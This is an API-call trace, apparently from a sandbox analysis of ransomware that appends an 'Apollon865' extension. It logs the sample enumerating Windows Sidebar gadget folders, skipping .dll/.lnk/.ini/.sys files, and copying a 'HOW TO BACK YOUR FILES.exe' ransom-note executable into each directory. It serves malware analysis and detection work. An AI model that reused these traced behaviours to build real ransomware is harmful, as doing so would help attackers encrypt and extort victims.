	[0051.377] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fd70
	[0051.377] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36b283d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x36b283d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.377] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.377] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b6cc007, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4b6cc007, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xadcc4370, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sbdrop.dll", cAlternateFileName="")) returned 1
	[0051.377] lstrcmpiW (lpString1="sbdrop.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.377] lstrcmpiW (lpString1="sbdrop.dll", lpString2="Apollon865.txt.exe") returned 1
	[0051.378] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="sbdrop.dll" | out: lpString1="sbdrop.dll") returned="sbdrop.dll"
	[0051.378] lstrlenW (lpString="sbdrop.dll") returned 10
	[0051.378] lstrlenW (lpString="Apollon865") returned 10
	[0051.378] lstrlenW (lpString=".dll") returned 4
	[0051.378] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".dll") returned 1
	[0051.378] lstrlenW (lpString=".lnk") returned 4
	[0051.378] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".lnk") returned 1
	[0051.378] lstrlenW (lpString=".ini") returned 4
	[0051.378] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".ini") returned 1
	[0051.378] lstrlenW (lpString=".sys") returned 4
	[0051.378] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".sys") returned 1
	[0051.378] lstrlenW (lpString="sbdrop.dll") returned 10
	[0051.378] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="settings.ini" | out: lpString1="settings.ini") returned="settings.ini"
	[0051.378] lstrlenW (lpString="settings.ini") returned 12
	[0051.378] lstrlenW (lpString="Apollon865") returned 10
	[0051.378] lstrcmpiW (lpString1="ttings.ini", lpString2="Apollon865") returned 1
	[0051.378] lstrlenW (lpString=".dll") returned 4
	[0051.378] lstrcmpiW (lpString1="settings.ini", lpString2=".dll") returned 1
	[0051.378] lstrlenW (lpString=".lnk") returned 4
	[0051.378] lstrcmpiW (lpString1="settings.ini", lpString2=".lnk") returned 1
	[0051.378] lstrlenW (lpString=".ini") returned 4
	[0051.378] lstrcmpiW (lpString1="settings.ini", lpString2=".ini") returned 1
	[0051.378] lstrlenW (lpString=".sys") returned 4
	[0051.378] lstrcmpiW (lpString1="settings.ini", lpString2=".sys") returned 1
	[0051.378] lstrlenW (lpString="settings.ini") returned 12
	[0051.378] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="Shared Gadgets" | out: lpString1="Shared Gadgets") returned="Shared Gadgets"
	[0051.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0051.379] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a8a8
	[0051.379] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd90
	[0051.379] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e26afc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3e26afc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3e4cc5c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11ea00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sidebar.exe", cAlternateFileName="")) returned 1
	[0051.379] lstrcmpiW (lpString1="sidebar.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.379] lstrcmpiW (lpString1="sidebar.exe", lpString2="Apollon865.txt.exe") returned 1
	[0051.379] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="sidebar.exe" | out: lpString1="sidebar.exe") returned="sidebar.exe"
	[0051.379] lstrlenW (lpString="sidebar.exe") returned 11
	[0051.379] lstrlenW (lpString="Apollon865") returned 10
	[0051.379] lstrcmpiW (lpString1="idebar.exe", lpString2="Apollon865") returned 1
	[0051.379] lstrlenW (lpString=".dll") returned 4
	[0051.379] lstrcmpiW (lpString1="sidebar.exe", lpString2=".dll") returned 1
	[0051.379] lstrlenW (lpString=".lnk") returned 4
	[0051.379] lstrcmpiW (lpString1="sidebar.exe", lpString2=".lnk") returned 1
	[0051.379] lstrlenW (lpString=".ini") returned 4
	[0051.379] lstrcmpiW (lpString1="sidebar.exe", lpString2=".ini") returned 1
	[0051.379] lstrlenW (lpString=".sys") returned 4
	[0051.379] lstrcmpiW (lpString1="sidebar.exe", lpString2=".sys") returned 1
	[0051.379] lstrlenW (lpString="sidebar.exe") returned 11
	[0051.379] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="wlsrvc.dll" | out: lpString1="wlsrvc.dll") returned="wlsrvc.dll"
	[0051.379] lstrlenW (lpString="wlsrvc.dll") returned 10
	[0051.379] lstrlenW (lpString="Apollon865") returned 10
	[0051.379] lstrlenW (lpString=".dll") returned 4
	[0051.379] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".dll") returned 1
	[0051.379] lstrlenW (lpString=".lnk") returned 4
	[0051.379] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".lnk") returned 1
	[0051.379] lstrlenW (lpString=".ini") returned 4
	[0051.379] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".ini") returned 1
	[0051.379] lstrlenW (lpString=".sys") returned 4
	[0051.379] lstrcmpiW (lpString1="wlsrvc.dll", lpString2=".sys") returned 1
	[0051.380] lstrlenW (lpString="wlsrvc.dll") returned 10
	[0051.380] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets") returned="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets"
	[0051.380] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0051.380] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0051.380] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets") returned 53
	[0051.380] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets") returned="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets"
	[0051.380] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.380] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\shared gadgets\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.385] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.385] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36b283d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36b283d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0051.385] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.385] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.385] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets"
	[0051.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0051.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0051.385] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets") returned 46
	[0051.386] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets"
	[0051.386] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.386] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.397] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.397] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36b4e530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36b4e530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.398] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.398] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.398] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Calendar.Gadget" | out: lpString1="Calendar.Gadget") returned="Calendar.Gadget"
	[0051.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0051.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf898
	[0051.398] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fd70
	[0051.398] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Clock.Gadget", cAlternateFileName="CLOCK~1.GAD")) returned 1
	[0051.398] lstrcmpiW (lpString1="Clock.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.398] lstrcmpiW (lpString1="Clock.Gadget", lpString2="Apollon865.txt.exe") returned 1
	[0051.398] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Clock.Gadget" | out: lpString1="Clock.Gadget") returned="Clock.Gadget"
	[0051.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0051.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x591640
	[0051.398] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fc10
	[0051.398] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CPU.Gadget", cAlternateFileName="CPU~1.GAD")) returned 1
	[0051.398] lstrcmpiW (lpString1="CPU.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.398] lstrcmpiW (lpString1="CPU.Gadget", lpString2="Apollon865.txt.exe") returned 1
	[0051.398] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="CPU.Gadget" | out: lpString1="CPU.Gadget") returned="CPU.Gadget"
	[0051.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0051.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5916c0
	[0051.398] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd90
	[0051.398] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Currency.Gadget", cAlternateFileName="CURREN~1.GAD")) returned 1
	[0051.398] lstrcmpiW (lpString1="Currency.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.398] lstrcmpiW (lpString1="Currency.Gadget", lpString2="Apollon865.txt.exe") returned 1
	[0051.398] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Currency.Gadget" | out: lpString1="Currency.Gadget") returned="Currency.Gadget"
	[0051.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0051.398] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf4e0
	[0051.399] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0051.399] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36b4e530, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x36b4e530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.399] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.399] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PicturePuzzle.Gadget", cAlternateFileName="PICTUR~1.GAD")) returned 1
	[0051.399] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.399] lstrcmpiW (lpString1="PicturePuzzle.Gadget", lpString2="Apollon865.txt.exe") returned 1
	[0051.399] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="PicturePuzzle.Gadget" | out: lpString1="PicturePuzzle.Gadget") returned="PicturePuzzle.Gadget"
	[0051.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0051.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b90d8
	[0051.399] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0051.399] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSSFeeds.Gadget", cAlternateFileName="RSSFEE~1.GAD")) returned 1
	[0051.399] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.399] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="Apollon865.txt.exe") returned 1
	[0051.399] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="RSSFeeds.Gadget" | out: lpString1="RSSFeeds.Gadget") returned="RSSFeeds.Gadget"
	[0051.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0051.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf568
	[0051.399] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0051.399] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SlideShow.Gadget", cAlternateFileName="SLIDES~1.GAD")) returned 1
	[0051.399] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.399] lstrcmpiW (lpString1="SlideShow.Gadget", lpString2="Apollon865.txt.exe") returned 1
	[0051.399] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="SlideShow.Gadget" | out: lpString1="SlideShow.Gadget") returned="SlideShow.Gadget"
	[0051.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0051.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf788
	[0051.399] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0051.399] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="WEATHE~1.GAD")) returned 1
	[0051.399] lstrcmpiW (lpString1="Weather.Gadget", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.399] lstrcmpiW (lpString1="Weather.Gadget", lpString2="Apollon865.txt.exe") returned 1
	[0051.399] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Weather.Gadget" | out: lpString1="Weather.Gadget") returned="Weather.Gadget"
	[0051.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0051.400] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf700
	[0051.400] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0051.400] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="WEATHE~1.GAD")) returned 0
	[0051.400] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0051.400] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdd0
	[0051.400] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget"
	[0051.400] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0051.400] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0051.400] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget") returned 61
	[0051.400] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget"
	[0051.400] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.400] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.406] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.406] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36b4e530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36b4e530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.406] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.406] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.406] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="drag.png" | out: lpString1="drag.png") returned="drag.png"
	[0051.406] lstrlenW (lpString="drag.png") returned 8
	[0051.406] lstrlenW (lpString="Apollon865") returned 10
	[0051.406] lstrlenW (lpString=".dll") returned 4
	[0051.406] lstrcmpiW (lpString1="drag.png", lpString2=".dll") returned 1
	[0051.406] lstrlenW (lpString=".lnk") returned 4
	[0051.406] lstrcmpiW (lpString1="drag.png", lpString2=".lnk") returned 1
	[0051.406] lstrlenW (lpString=".ini") returned 4
	[0051.406] lstrcmpiW (lpString1="drag.png", lpString2=".ini") returned 1
	[0051.406] lstrlenW (lpString=".sys") returned 4
	[0051.406] lstrcmpiW (lpString1="drag.png", lpString2=".sys") returned 1
	[0051.406] lstrlenW (lpString="drag.png") returned 8
	[0051.406] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0051.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0051.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8f28
	[0051.406] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fd10
	[0051.406] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36b4e530, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x36b4e530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.406] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
